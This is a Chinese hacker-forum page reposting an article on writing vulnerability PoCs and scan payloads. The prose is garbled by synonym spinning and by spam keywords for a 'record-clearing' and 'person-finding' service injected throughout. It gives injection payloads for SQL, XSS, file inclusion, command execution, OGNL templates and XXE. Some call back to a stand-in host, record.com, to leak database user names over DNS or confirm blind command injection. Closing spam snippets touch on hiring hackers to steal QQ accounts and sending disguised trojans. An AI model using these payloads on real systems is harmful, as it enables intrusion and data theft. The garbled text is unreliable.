快捷导航

5年消除案底-焦作找人公司-漏洞如何检测的那些事儿

[复制链接]
查看: 699|回复: 0

8万

主题

8万

帖子

26万

积分

论坛元老

Rank: 8Rank: 8

积分
260116
发表于 2020-11-9 00:00:00 | 显示全部楼层 |阅读模式
焦作市找人公司-漏洞怎样检验的那些事儿

0x00 介绍





仿佛很久没发文了,前不久闲来无事提前准备谈谈 “漏洞检验的那些事儿”。如今有一个状况便是一旦有伤害较高的漏洞的认证 PoC 或是运用 EXP 被公布出来,便会有一大群难耐难耐的遮阳帽们去刷洞,针对一个凡夫俗子的我而言,看得有点儿眼睛发红。XD

刷洞归刷洞,蛋還是要扯的。漏洞从公布到研究者剖析认证,再到 PoC 撰写,从而到规模性扫描仪检验,在这里一环扣一环的漏洞紧急生命期中,我觉得最重要的一部分应当算作 PoC撰写 和 漏洞检验 这两个一部分了:



PoC撰写 - 重现漏洞自然环境,将漏洞重现步骤编码化的全过程

漏洞检验 - 应用撰写好的 PoC 去认证检测总体目标是不是存有着漏洞,必须留意的是在这个全过程(也就是说是在撰写 PoC 的情况下)必须保证安全性、合理和没害,尽量或是防止扫描仪全过程对总体目标服务器造成不能修复的危害

最先而言说 PoC 撰写。撰写 PoC 我认为是安全性研究者或是漏洞剖析者平时最基本的工作中,编写人把漏洞认证剖析的全过程根据编码叙述出来,依据不一样种类的漏洞撰写相对的 PoC。依据长期撰写 PoC 累积出来的工作经验,本人觉得在撰写 PoC 5年清除案底 时要遵照好多个准侧,以下:

偶然性

可预测性

通用性

很有可能你能感觉我太学术研究了?那麼我也一点一点地把她们讲明白。

0x01 PoC 撰写规则 & 实例





i. 偶然性

PoC 中所涉及到的重要自变量或数据信息应当具备偶然性,切忌应用固定不动的变量类型形成 Payload,可以随机生成的尽可能随机生成(如:文件上传的文件夹名称,webshell 登陆密码,Alert 的字符串数组,MD5 值),下边看来好多个事例(我可真没做广告,事例大多数应用的 pocsuite PoC 架构):



图中所显示的编码是 WordPress 中某一主题风格造成 的随意上传文件漏洞的认证编码重要一部分,能够见到上边应用了 kstest.php 做为每一次检测应用的文件上传名,很显著这儿是用的固定不动的文件夹名称,违反了上边所提及的偶然性准侧。这儿再多唠叨一句,我并沒有说在 PoC 中应用固定不动的自变量或是数据信息有哪些不对,只是感觉将可以任意的数据信息随机化可以减少在扫描仪检验的过程中所担负的一些风险性(实际有哪些风险性请自主想象了)。

依据偶然性准侧可改动编码以下:



变更后文件上传的文件夹名称每一次都为随机生成的 6 位标识符,本人觉得在一定水平上减少了扫描仪检验互动数据信息被跟踪的概率。

ii. 可预测性

PoC 里能根据检测回到的內容寻找唯一明确的标志来表明该漏洞是不是存有,而且这一标志必须有目的性,切忌应用过度模糊不清的标准去分辨(如:HTTP 要求回到情况,固定不动的网页页面可控性內容)。一样的,下边根据案例来表明一下:



图中所显示的编码是某 Web 运用一个 UNION 型 SQL 引入的漏洞认证编码,编码中立即根据拼凑 -1\“ union select 1,md5(1) -- 来开展引入,因该漏洞有数据信息回显,因此 假如检测引入取得成功网页页面上面复印出 md5(1) 的值 c4ca4238a0b923820dcc509a6f75849b,显而易见的这一 PoC 看上去并没什么难题,可是融合规则第一条偶然性,我认为这儿应当应用 md5(rand_num) 做为标志明确更强,由于随机化后,准确度高些:



这儿也不是坑大家,万一某一网站不会有漏洞,但网页页面中便是有一个 c4ca4238a0b923820dcc509a6f75849b,大家感觉呢?

讲到这儿,再聊说一个 Python requests 库使用人很有可能会忽略的一个难题。有时,我们在获得到一个要求回到目标时,会像以下编码那般做一个外置分辨:



很有可能有些人会讲过,Python 中标准分辨非空即为真,可是这儿真的是那么解决的么?并并不是,历经实战演练碰到的坑和之后检测发觉,Response 5年清除案底 目标的标准分辨是根据 HTTP 回到状态码来开展分辨的,当状态码范畴在[400, 600]中间时,标准分辨会回到 False。(不相信的自身检测咯)

我为何要提一下这一点呢,那是由于有时大家检测漏洞或是将 Payload 打过去式,总体目标很有可能会由于后端开发解决逻辑性失败而回到 500,可是这个时候实际上网页页面中早已有漏洞存有的标志出現,假如这以前你用刚刚说的方式提早对 Response 目标开展了一个标准分辨,那麼这一次便会造成 少报。So,大家了解该怎么做了吧?

iii. 实用性

PoC 中所应用的 Payload 或包括的检验编码应兼具每个自然环境或服务平台,可以结构出通用性的 Payload 就不必应用单一目5年清除案底标底检验编码,切忌只考虑到漏洞重现的自然环境(如:文件包含中途径方式,指令实行中实行的指令)。下面的图是 WordPress 中某一软件造成 的随意压缩文件下载漏洞:



上边认证编码逻辑性简易的说便是,根据随意压缩文件下载漏洞去载入 /etc/passwd 文档的內容,并分辨回到的文档內容是不是包括重要的字符串数组或是标志。显著的,这一 Payload 只适用 *nix 自然环境的状况,在 Windows 服务平台上并不适合。更强的作法应该是依据漏洞运用的自然环境寻找一个必定可以反映漏洞存有的标志,这儿5年清除案底,我们可以取 WordPress 环境变量 wp-config.php 来开展分辨(自然,下面的图最后的分辨方法很有可能不太认真细致):



那么一改,Payload 就另外兼具了好几个服务平台自然环境,变为通用性的了。

许许多多漏洞的 PoC 撰写工作经验要我汇总出这三点规则,你如果感觉是在扯蛋就无需往下看了。QWQ

0x02 漏洞检验方式 & 实例





“漏洞检验!漏洞检验?漏洞检验。。。”,5年清除案底讲过这么多,究竟如何去梳理漏洞检验的方式呢?我认为,依据 Web 漏洞的种类特性和表达形式,能够分成两类:断定 和 间接性分辨。

断定:根据推送含有 Payload 的要求,可以从回到的內容中立即搭配相对情况开展分辨

间接性分辨:没法根据回到的內容断定,需依靠别的专用工具间接性的反映漏洞开启是否

多说无益,還是立即上事例来反映一下吧(下述所显示 Payloads 不彻底通用性)。

1. 断定

i. SQLi(回显)

针对有回显的 SQL 引入,检验方式较为固定不动,这儿遵照 “偶然性” 和 “可预测性” 5年清除案底 二点就可以。

Error Based SQL Injection

1

2

payload: “... updatexml(1,concat(“:“,rand_str1,rand_str2),1) ...“

condition: (rand_str1 rand_str2) in response.content

对于出错引入而言,运用偶然性开展 Payload 结构能够相对稳定和精确地鉴别出漏洞5年清除案底,固定不动字符串数组会因为一些偶然性导致乱报。不清楚大伙儿是不是搞清楚上边二行编码的含意,简易的说便是 Payload 中包括一个可预测分析結果的任意数据信息,认证时只必须认证这一可预测分析結果是不是存有就可以了。

UNION SQL Injection

1

2

3

4

5

payload1: “... union select md5(rand_num) ...“

5年清除案底 condition1: md5(rand_num) in response.content

  

payload2: “... union select concat(rand_str1, rand_str2) ...“

condition2: (rand_str1 rand_str2) in response.content

md5(rand_num) 这一非常好了解,MySQL 中内置涵数,当 Payload 实行取得成功时,因具备回显因此 在网页页面上定有 md5(rand_num) 5年清除案底 的hash值,因 Payload 具备偶然性,因此 漏报率较低。

ii. XSS(回显)

1

2

payload: “... var _=rand_str1 rand_str2;confirm(_); ...“

condition: (rand_str1 rand_str2) in response.content

因没如何深入分析过 XSS 这个东西,因此 大伙儿就会意一下实例编码的含意吧。QWQ

iii. 5年清除案底 Local File Inclusion/Arbitrary File Download(回显)

本地文件包括和随意压缩文件下载的较大 差别在哪儿?本地文件包括不但可以获得文档內容还能够动态性包括脚本文件实行编码,而随意压缩文件下载只有获得文档內容没法实行编码。XD

所以呢,在对于该类漏洞开展检验时,在开展文件包含/下载测试的情况下必须找一个相对性 Web 运用固定不动的文档做为检测空间向量:

1

2

payload: “... ?file=../../../fixed_file ...“  

condition: (content_flag_in_fixed_file) in response.content

比如 WordPress 运用途径下 ./wp-config.php 文档是运用默认设置务必的环境变量,而文档中的独特字符串数组标志 require_once(ABSPATH . \“wp-settings.php\“); 一般是不容易去修改它的(自然还可以是别的的特点字符串数组),扫描文件免费下载 时只需要去尝试下载 ./wp-config.php 文件,并检测其中的内容是否含有特征字符串即可判断是否存在漏洞了。

iv. Remote Code/Command 5年消除案底 Execution(回显)

远程代码/命令执行都是执行,对该类漏洞要进行无害扫描,通常的做法是打印随机字符串,或者运行一下特征函数,然后检查页面返回是否存在特征标识来确认漏洞与否。

1

2

payload: “... echo md5(rand_num); ...“

condition: (content_flag) in response.content

当然了,要执行什么样的特征命令这还需要结合特定的漏洞环境来决定。 <5年消除案底p>v. SSTI/ELI(回显)



模板注入和表达式注入相对于传统的 SQLi 和 XSS 来说,应该算得上是在开框架化、整体化的过程中产生的问题,当模板内容可控时各种传统的 Web 漏洞也就出现了,XSS、命令执行都能够通过模板注入活着表达式注入做到。曾经风靡一时的 Struts2 漏洞我觉得都能归到此类漏洞中。通常检测只需构造相应模板语言对应的表达式即可,存在注入表达式会得以执行并返回内容:

1

2

3

4

5

5年消除案底 6

7

8

payload1: “... param=%(rand_num1 + rand_num2) ...“

condition1: (rand_num1 + rand_num2) in response.content

  

payload2: “... param=%(rand_num1 * rand_num2) ...“

5年消除案底 condition2: (rand_num1 * rand_num2) in response.content

  

payload3: “... #response=#context.get(“com.opensymphony.xwork2.dispatcher.HttpServletResponse“).getWriter(),#response.println(rand_str1+rand_str2),#response.flush(),#response.close() ..“

5年消除案底 condition3: (rand_str1+ rand_str2) in response.content

vi. 文件哈希

有时候漏洞只与单个文件有关,例如 Flash、JavaScript 等文件造成的漏洞,这个时候就可以利用文件哈希来直接判断是否存在漏洞。扫描检测时,首先需要给定路径下载对应的文件然后计算哈希与统计的具有漏洞的所有文件哈希进行比对,匹配成功则说明漏洞存在:

1

2

payload: “http://vuln.com/vuln_swf_file.swf“

5年消除案底 condition: hash(vul_swf_file.swf) == hash_recorded

以上就是针对 Web 漏洞检测方法中的 “直接判断” 进行了示例说明,因 Web 漏洞类型繁多且环境复杂,这里不可能对其进行一一举例,所举的例子都是为了更好的说明 “直接判断” 这种检测方法。:)

2. 间接判断

“无回显?测不了,扫不了,很尴尬!怎么办。。。“

在很久很久之前,我遇到上诉这些漏洞环境时是一脸懵逼的 (⇀U年消除案底248;↼‶),一开始懂得了用回连进行判断,后来有了 python -m SimpleHTTPServer 作为简单实时的 HTTP Server 作为回连监控,再后来有了《Data Retrieval over DNS in SQL Injection Attacks》这篇 Paper,虽然文章说的技术点是通过 DNS 查询来获取 SQL 盲注的数据,但是 “Data Retrieval over DNS“ 这种技术已经可以应用到大多数无法回显的漏洞上了,进而出现了一些公开的平台供安全研究爱好者们使用,如:乌云的 cloudeye 和 Bugscan 的 DNSLog,当然还有我重写的 CEYE.IO 5年消除案底 平台。

“Data Retrieval over DNS“ 技术原理其实很简单,首先需要有一个可以配置的域名,比如:ceye.io,然后通过代理商设置域名 ceye.io 的 nameserver 为自己的服务器 A,然后再服务器 A 上配置好 DNS Server,这样以来所有 ceye.io 及其子域名的查询都会到 服务器 A 上,这时就能够实时地监控域名查询请求了,图示如下(借的 Ricter 的):



说了那么多,还是不知道5年消除案底怎么用么?那就直接看示例吧(所以后端平台都用 CEYE.IO 作为例子)。

i. XSS(无回显)

XSS 盲打在安全测试的时候是比较常用的,“看到框就想 X” 也是每位 XSSer 的信仰:

1

2

payload: “... ><img src=http://record.com/?blindxss ...“

condition: {http://record.com/?blindxss LOG} 5年消除案底 in HTTP requests LOGs

通过盲打,让触发者浏览器访问预设至的链接地址,如果盲打成功,会在平台上收到如下的链接访问记录:



ii. SQLi(无回显)

SQL 注入中无回显的情况是很常见的,但是有了 “Data Retrieval over DNS“ 这种技术的话一切都变得简单了,前提是目标环境符合要求。《HawkEye Log/Dns 在Sql注入中的应用》这篇文章提供了一些常见数据5年消除案底库中使用 “Data Retrieval over DNS“ 技术进行盲注的 Payloads。

1

2

payload: “... load_file(concat(\“\\\\\“,user(),\“.record.com\\blindsqli\“))

condition: {*.record.com LOG} in DNS queries LOGs

只要目标系统环境符合要求并且执行了注入的命令,那么就会去解析预先设置好的域名,5年消除案底同时通过监控平台能够拿到返回的数据。



iii. SSRF(无回显)

根据上面两个例子,熟悉 SSRF 的同学肯定也是知道怎么玩了:

1

2

payload: “... <!ENTITY test SYSTEM “http://record.com/?blindssrf“> ..5年消除案底.“

condition: {http://record.com/?blindssrf LOG} in HTTP requests LOGs

iv. RCE(无回显)

命令执行/命令注入这个得好好说一下,我相信很多同学都懂得在命令执行无法回显的时候借用类似 python -m SimpleHTTPServer 这样的环境,采用回连的检测机制来实时监控访问日志。*nix 系统环境下一般是使用 curl 命令或者 wget 命令,而 windows 系统环境就没有这么方便的命令去直接访问一个链接,我之前常用的是 ftp 命令和 PowerShell 中的文件下载来5年消除案底访问日志服务器。现在,有了一个比较通用的做法同时兼顾 *nix 和 windows 平台,那就是 ping 命令,当 ping 一个域名时会对其进行一个递归 DNS 查询的过程,这个时候就能在后端获取到 DNS 的查询请求,当命令真正被执行且平台收到回显时就能说明漏洞确实存在。

1

2

payload: “... | ping xxflag.record.com ...“

condition: {xxflag.record.com LOG} in DNS 5年消除案底 queries LOGs



通过这几个 “间接判断“ 的示例,相信大家也大概了解了在漏洞无回显的情况下如何进行扫描和检测了。更多的无回显 Payloads 可以通过 http://ceye.io/payloads 进行查看。(勿喷)

0x03 应急实战举例





原理和例子扯了这么多,也该上上实际的扫描检测案例了。

Java 反序列化(通用性举例,ftp/ping) 5年消除案底

首先说说 15 年底爆发的 Java 反序列化漏洞吧,这个漏洞应该算得上是 15 年 Web 漏洞之最了。记得当时应急进行扫描的时候,WebLogic 回显 PoC 并没有搞定,对其进行扫描检测的时候使用了回连的方式进行判断,又因为待测目标包含 *nix 和 windows 环境,所以是写了两个不同的 Payloads 对不同的系统环境进行检测,当时扫描代码的 Payloads 生成部分为:

i. *nix



当时真实的日志内容:

5年消除案底

可以看到我在构造 Payload 的时候通过链接参数来唯一识别每一次测试的 IP 地址和端口,这样在检查访问日志的时候就能确定该条记录是来自于哪一个测试目标(因为入口 IP 和出口 IP 可能不一致),同时在进行批量扫描的时候也能方便进行目标确认和日志处理。

ii. windows

<5年消除案底p>当时真实的日志内容:





因为 windows 上的 ftp 命令无法带类似参数一样的标志,所以通过观察 FTP Server 连接日志上不是很好确认当时测试的目标,因为入口 IP 和出口 IP 有时不一致。

上面的这些 PoC 和日志截图都是去年在应急时真实留下来的,回想当时再结合目前的一些知识,发现使用通用的 Payload ping xxxxx.record.com 并使用 “Data Retrieval over DNS“5年消除案底 技术来收集信息日志能够更为通用方便地进行检测和扫描。所以,最近更换了一下 Payload 结合 CEYE.IO 平台又对 WebLogic 反序列化漏洞的影响情况又进行了一次摸底:



这里添加一个随机字符串作为一个子域名的一部分是为了防止多次检测时本地 DNS 缓存引起的问题(系统一般会缓存 DNS 记录,同一个域名第一次通过网络解析得到地址后,第二次通常会直接使用本地缓存而不会再去发起查询请求)。

相应平台的记录为(数量略多):

<5年消除案底img alt=““ src=“http://pic.seo-6.com/Aupian/112020/cykcrxafpv5-yseo_com.png“ />

(顺便说一下,有一个这样的平台还是很好使的 QWQ)

不知不觉就写了这么多 QWQ,好累。。。能总结和需要总结的东西实在太多了,这次就先写这么一点吧。

不知道仔细看完这篇文章的人会有何想法,也许其中的一些总结你都知道,甚至比我知道的还要多,但我写出来只是想对自己的经验和知识负责而已,欢迎大家找我讨论扫描检测相关的东西。:)

在C/C++/JAVA编程中,=是赋值运算符,将=右侧表达式的值赋予左侧的变量。==是逻辑运算符,若==左右两侧5年消除案底表达式的值相等,则返回TRUE,否则返回FALSE。焦作找人公司

请黑客帮忙盗一个QQ免费黑客是一种违法的职业,很少有人会做这个行业,建议你再私底下问问朋友之类的,或者是学电脑学软件或者学计算机类的同学,看看有没有会这些方面知识的人。

焦作找人公司会,社工在任何时候都好使。你想想看,一个入侵不了的系统,你发给对方一个伪装的马,然后对方自己运行起来了,那不是非常容易就进去了么。或者发给对方一个。

都是一群骗子,根本不可能实现的,聊天记录是本地记录的,拥有会员才可以上传网络,这个是要设置,如果设置了,那么就需要。

黑客的基本技能黑客态度重要,但技术更加重要。态度无法替代技术,在你被别的黑客称为黑客之前,有5年消除案底一些基本的技术你必须掌握。这些基本技术随着新技术的。焦作找人公司

生辰发出来摆你命局喜欢的,生助八字用神的物品你好,根据我国古代著名经典【周易】所崇尚的三命汇通、祈祥求吉的命理演绎推导,您二位聪明伶俐的【甲午马年】福宝宝出生的黄道吉月为:避开您二位的【。

焦作找人公司王者荣耀安琪拉少女黑客皮肤怎么获得什么时候出前段时间网上爆料了安琪拉的一款皮肤——少女黑客。据悉。

标签:

(责任编辑:网络)
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

精彩推荐

让创业更简单

  • 反馈建议:XXXXXXXX
  • 客服电话:暂时没有
  • 工作时间:周一到周五9点~22点

云服务支持

黑客联盟,快速搜索

关注我们

Copyright 黑客论坛  Powered by©  技术支持: